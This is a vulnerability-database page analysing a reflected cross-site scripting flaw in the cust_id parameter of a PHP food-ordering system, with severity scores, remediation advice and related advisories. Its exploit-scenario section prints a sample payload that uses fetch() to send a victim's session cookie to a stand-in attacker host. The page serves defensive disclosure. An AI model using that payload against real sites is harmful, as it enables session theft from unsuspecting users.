Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | Despite the CVSS 4.3 score indicating low severity, this XSS vulnerability merits moderate real-world attention. The CVSS vector (AV:N/AC:L/PR:N/UI:R) confirms remote, unauthenticated, low-complexity exploitation requiring only user interaction-a realistic attack scenario for e-commerce sites where customers click order confirmation links. The presence of publicly available exploit code (noted in PoC references) lowers the barrier to exploitation. However, the impact is limited to integrity (I:L) with no confidentiality or availability impact, ruling out credential theft or system compromise; typical XSS harm here would involve session hijacking, defacement, or malware distribution to customers. The E:P (Proof of Concept Exists) environmental score modifier and RC:R (Reasonable Confidence) confirm the reproducibility and credibility of this finding. SSVC framework assessment: exploitation is confirmed possible (PoC exists), automatable to moderate degree (script injection), and technical impact is limited (integrity only, no privilege escalation). This is a legitimate priority for patch deployment in customer-facing e-commerce systems, but not a critical emergency. |
| Exploit ScenarioDerived | An attacker crafts a malicious URL containing JavaScript payload in the cust_id parameter (e.g., /form/order.php?cust_id=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>) and sends it to a victim customer via email, messaging, or by embedding it in a compromised advertisement. When the victim clicks the link while logged into their food ordering account, the injected script executes in their browser context, stealing session cookies or redirecting them to a phishing site. The public exploit code (GitHub Gist reference) demonstrates this attack pattern, confirming the vulnerability is straightforward to weaponize without requiring specialized tools. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 30, 2026
Reflected cross-site scripting (XSS) in code-projects Online Food Ordering System 1.0 allows unauthenticated remote attackers to inject malicious scripts via the cust_id parameter in /form/order.php, exploitable through user interaction (UI required). Publicly available exploit code exists; the vulnerability carries CVSS 4.3 (low severity) but poses reputational and user session hijacking risks typical of XSS attacks in e-commerce contexts.
RemediationAI
Immediate remediation requires input validation and output encoding: all user-supplied input (especially cust_id) must be sanitized using parameterized queries or prepared statements for any database operations, and HTML-encoded or JavaScript-escaped before insertion into the page response. For PHP applications, use htmlspecialchars() or a templating engine with auto-escaping to prevent reflection of unsanitized parameters. Code-projects maintainers should release a patched version of Online Food Ordering System with these fixes applied to /form/order.php. Pending patch availability, temporary mitigation includes implementing a Web Application Firewall (WAF) rule to block requests with suspicious characters in the cust_id parameter or disabling the vulnerable endpoint if not essential to operations. Reference the VulDB record (https://vuldb.com/vuln/354189) and the public exploit code at https://gist.github.com/HxH404/f7f1502ffc9f2aacc936a6e8f290b6a5 for testing and validation of fixes.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability is a reflected XSS flaw (CWE-79: Improper Neutralization of Input During Web Page Generation) in a PHP-based e-commerce application. The Order Module's order.php endpoint fails to sanitize or encode the cust_id parameter before rendering it in an HTTP response, allowing attackers to inject arbitrary JavaScript code. The vulnerability affects code-projects Online Food Ordering System via the CPE cpe:2.3:a:code-projects:online_food_ordering_system:*:*:*:*:*:*:*:*, indicating all versions of this product are potentially vulnerable. The reflective nature requires the victim to follow a malicious link, but the low attack complexity and lack of authentication requirements make it straightforward to exploit in practice.
Know when Online Food Ordering System gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
Lifecycle Timeline
4DescriptionCVE.org
A vulnerability was identified in code-projects Online Food Ordering System 1.0. Affected is an unknown function of the file /form/order.php of the component Order Module. Such manipulation of the argument cust_id leads to cross site scripting. The attack may be performed from remote. The exploit is publicly available and might be used.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
More in Online Food Ordering System
View allAn arbitrary file upload vulnerability in the component /fos/admin/ajax.php of Food Ordering System v2.0 allows attacker
Remote Code Exection (RCE) vulnerability exists in Sourcecodester Online Food Ordering System 2.0 via a maliciously craf
Multiple SQL Injection vulnerabilities in tourist5 Online-food-ordering-system 1.0. Rated critical severity (CVSS 9.8),
An arbitrary file upload vulnerability in the component /admin/ajax.php?action=save_menu of Online Food Ordering System
SQL injection in SourceCodester Online Food Ordering System v1.0 allows remote attackers to execute arbitrary SQL comman
Online Food Ordering System v1.0 is vulnerable to multiple Unauthenticated SQL Injection vulnerabilities. Rated critical
Online Food Ordering System v1.0 is vulnerable to multiple Unauthenticated SQL Injection vulnerabilities. Rated critical
Online Food Ordering System v1.0 is vulnerable to multiple Unauthenticated SQL Injection vulnerabilities. Rated critical
Online Food Ordering System v1.0 is vulnerable to multiple Unauthenticated SQL Injection vulnerabilities. Rated critical
Online Food Ordering System v1.0 is vulnerable to multiple Unauthenticated SQL Injection vulnerabilities. Rated critical
Online Food Ordering System v1.0 is vulnerable to multiple Unauthenticated SQL Injection vulnerabilities. Rated critical
Online Food Ordering System v1.0 is vulnerable to multiple Unauthenticated SQL Injection vulnerabilities. Rated critical
EUVD-2026-17253
NVD
CVE.org
EPSS
Vulnrichment
GitHub
VulDB
Exploit-DB